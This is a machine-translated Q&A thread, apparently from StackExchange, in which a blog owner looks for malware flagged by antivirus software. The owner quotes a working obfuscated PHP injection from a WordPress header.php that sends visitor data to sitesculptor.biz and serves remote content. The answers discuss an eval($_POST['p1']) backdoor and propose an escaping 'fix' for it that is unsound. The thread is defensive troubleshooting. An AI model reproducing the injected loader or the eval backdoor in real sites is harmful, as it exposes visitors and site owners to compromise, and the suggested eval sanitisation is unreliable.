我的服务器上可能存在恶意软件,如何search源代码?

我们其中一个博客的一些用户已经发现,当在Windows下使用杀毒软件(如Avast或NOD32)加载页面时,会出现一条消息。

信息是这样的

“远程地址已被阻止。”URL:“unloadpupil.org/u4offvzxwifsh2q/”IP地址:64.191.81.117:80

我试图在我的博客数据库上find这个URL或IP,但没有运气,我们的内容没有这个URL的痕迹,所以我非常沮丧的事情真的发生在我们不知道的情况下。

有没有find问题的根源呢?

*****更新********

Mangiabuild议的phpAV文件是一种可能的select,但是我已经安装了WordPress Antivirus插件 ,它给了我一个受恶意软件影响的可能文件列表。 在我的网站的主题header.php在它的末尾有以下文本:

<?php error_reporting(0); $cf=strrev('edo'.'ced'.'_46esab');$counter=$cf('aHR0cDovL3NpdGVzY3VscHRvci5iaXovbC5waHA/aWQ9').md5($_SERVER['SERVER_NAME']); $data=array('HTTP_ACCEPT_CHARSET','HTTP_ACCEPT_LANGUAGE','HTTP_HOST','HTTP_REFERER', 'HTTP_USER_AGENT','HTTP_QUERY_STRING','REMOTE_ADDR','REQUEST_URI','REQUEST_METHOD','SCRIPT_FILENAME'); foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u); if(!$fn||strlen($fn)<4){ob_start();include($u);$fn=ob_get_contents();ob_clean();} if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}} ?> 

根据之前StackExchange的消息 ,这可能是恶意软件。 我删除了它,我正在寻找更多的问题。

首先改变所有的ftp密码,不要告诉任何人,直到你解决这个问题。 有一个密码的人有一个病毒,

检查.htaccess文件(同时检查.htaccess中的行数)。 他们通常在.htaccess(所以你认为该文件是空的),然后redirect或类似的内容添加> 100空白行。

检查博客模板文件,因为如果你没有发现数据库内的任何东西,它可能位于模板文件(通常是JavaScript代码)

另外,如果你的ftp pass被破坏了,你可能还会上传其他东西(例如shell)。 要searchphp文件中有问题的函数,请检查下一个脚本。

http://dl.packetstormsecurity.net/web/phpav-1.1.txt

在阅读这篇文章之前,意识到我只是从我看过的pastebin中走出来。 不能看到整个代码库,我可能是非常错误的$_POST['p1'])的卫生状态。 然而,eval()variables实际上是一个坏习惯,所以即使我错了,这个post仍然是相关的。

看来你是eval()在这个php脚本中未经过清理的数据。 下列 :

 eval($_POST['p1']); 

在大多数情况下都是非常危险的 。 除非你打开了safe_mode ,否则这将允许shell访问(通过注入shell_exec() )给任何能够通过POST设置p1variables的人,任何人都可以使用web浏览器和互联网连接。 即使你打开了safe_mode ,这也是不安全的。 PHP的safe_mode通过escapeshellcmd()运行input,它不会转义'!' 字符正确,这仍然可以用来执行基于历史引用的代码,这就是'!' 字符表示。

确保在你提交一个variableseval()它被正确地转义和消毒。 在这种情况下,像eval(str_replace('!', '\!', escapeshellarg($_POST['p1']));将能够阻止用户通过eval提供shell命令。代码的意图似乎是执行$_POST['p1']) ,您可能需要重新devise模型。 如果代码库的目的是在$_POST['p1'])提供有效的PHP代码$_POST['p1']) ,几乎不可能确保代码不是恶意的。

请注意,如果您正在Windows框中运行! 字符什么都不做,是一个有效的shell字符。

还要注意,从PHP 5.3开始, safe_mode被认为是贬值的,这意味着首先依靠它是一个可怕的想法。

如果恶意用户意识到eval()漏洞,他们将能够注入您的post最初提到的恶意软件。 如果我的分析是正确的,并且$_POST['p1']未被消毒,这可能确实是恶意用户使用的攻击媒介。

我希望你的恶意软件问题很快解决!